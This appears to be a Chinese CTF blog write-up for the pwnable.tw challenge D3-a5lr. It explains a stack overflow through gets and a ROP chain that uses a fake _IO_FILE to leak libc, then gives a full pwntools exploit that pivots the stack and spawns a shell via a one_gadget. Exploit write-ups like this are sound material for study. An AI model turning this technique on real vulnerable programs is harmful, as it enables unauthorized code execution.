pwnable.tw之D3-a5lr

花式ROP

Posted by b0ldfrev on January 4, 2019

程序分析

1
2
3
4
5
6
7
[*] '/home/giantbranch/D3-a5lr'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rax, [rbp-0x10]
mov     rdi, rax
mov     eax, 0
call    _gets
mov     eax, 0
leave
retn

漏洞利用

此题的关键是,利用call qword ptr [r12+rbx*8] 这段gadget , 来call _IO_file_write 泄露地址。

在做完stack pivot后,把栈地址迁移到可bss段控制区域,再次做一次gets,这时原本的stack上方会有一些与gets调用相关的libc地址。

经过调试,上面在做gets时,同时向libc地址附近写入构造的数据

我们要做的就是控制图中libc地址的上下方,目的是将libc地址送入r12,计算好的偏移地址(address - stdin) / 8填入rbx,这样就会call [address] ,rbp要设置为rbx+1这样才能保证call以后继续执行后面的rop。我们试图在libc中找到存在_IO_file_writeaddress

IO_file_write第一个参数是_IO_FILE_指针,为了调用write,有一处验证fp->_flags2 & 2 ,另外write 第一个参数要为 1,所以我们在构造fake_io_file的时候,要把fileno设为1(stdout),flags2设置为2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall IO_file_write(_IO_FILE_ *a1, __int64 a2, __int64 a3)
{
  _IO_FILE_ *fp; // r14
  __int64 v4; // rbp
  __int64 v5; // r12
  __int64 v6; // rbx
  __int64 v7; // rdi
  __int64 v8; // rax
  __int64 result; // rax
  __int64 v10; // rdx

  fp = a1;
  if ( a3 <= 0 )
  {
    result = 0LL;
  }
  else
  {
    v4 = a2;
    v5 = a3;
    v6 = a3;
    do
    {
      if ( fp->_flags2 & 2 )
      {
        v7 = (signed int)fp->_fileno;
        v8 = 1LL;
        __asm { syscall; LINUX - }
      }
      else
      {
        v8 = write((unsigned int)fp->_fileno, v4, v6);
      }
      if ( v8 < 0 )
      {
        LODWORD(fp->_flags) |= 0x20u;
        result = v5 - v6;
        goto LABEL_6;
      }
      v6 -= v8;
      v4 += v8;
    }
    while ( v6 > 0 );
    result = v5 - v6;
  }
LABEL_6:
  v10 = fp->_offset;
  if ( v10 >= 0 )
    fp->_offset = result + v10;
  return result;
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*

context(os='linux', arch='amd64')

#env = {}
#env = {'LD_PRELOAD' : './libc_64.so.6'}
#p = process('./D3-a5lr', env=env)


p=remote("chall.pwnable.tw",10402)

libc = ELF('./libc_64.so.6')
elf = ELF('./D3-a5lr')


def g(p):
    gdb.attach(p)
    raw_input()

bss = 0x601010
gets_plt=0x400430
gets_got=0x600ff0
pop_rdi = 0x4005c3
pop_rsp_r13_r14_r15 = 0x00000000004005bd
pop_rbx_rbp_r12_r13_r14_r15 = 0x4005ba
pop_r12_r13_r14_r15 = 0x4005bc
pop_rsi_r15 = 0x00000000004005c1
pop_r13_r14_r15 = 0x4005be
mrdx13_mrsi14_mrdi15_call = 0x4005a0 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]
call_r12_plus_rbx_mul_8 = 0x4005a9
main = 0x400536

buf = bss + 0x100
buf1 = bss+ 0x200 

fake_file = "\x00"*0x70+p64(1)+p64(2)
fake_file =fake_file.ljust(0xe0,"\x00")

rop1=p64(pop_rdi)+p64(buf1)+p64(gets_plt)+p64(main)
p.sendline("a"*24+rop1)

call_rop=p64(pop_r13_r14_r15)+p64(0x8)+p64(gets_got)+p64(buf1)+p64(mrdx13_mrsi14_mrdi15_call)+"p"*0x38+p64(main)
p.sendline(fake_file+call_rop)

rop2=p64(pop_rdi)+p64(buf)+p64(gets_plt)+p64(pop_rsp_r13_r14_r15)+p64(buf)
p.sendline('b'*24 + rop2)

rop3="c"*8 + p64(pop_rsp_r13_r14_r15) + p64(buf1 + 0xe0 - 0x18)+ p64(pop_rdi)+p64(buf-0x38)+p64(gets_plt)+p64(pop_rsp_r13_r14_r15)+p64(buf-0x50)
p.sendline(rop3)

p.sendline(p64(pop_rbx_rbp_r12_r13_r14_r15)+ p64(0xfffffffffffffdeb) + p64(0xfffffffffffffdeb+1))

leak_libc = u64(p.recv(8))
libc = leak_libc - libc.symbols['gets']
print "libc : " +hex(libc)
one_gadget=libc + 0xf0567	

p.sendline('d'*24 + p64(one_gadget))

p.interactive()



运行结果:

下载地址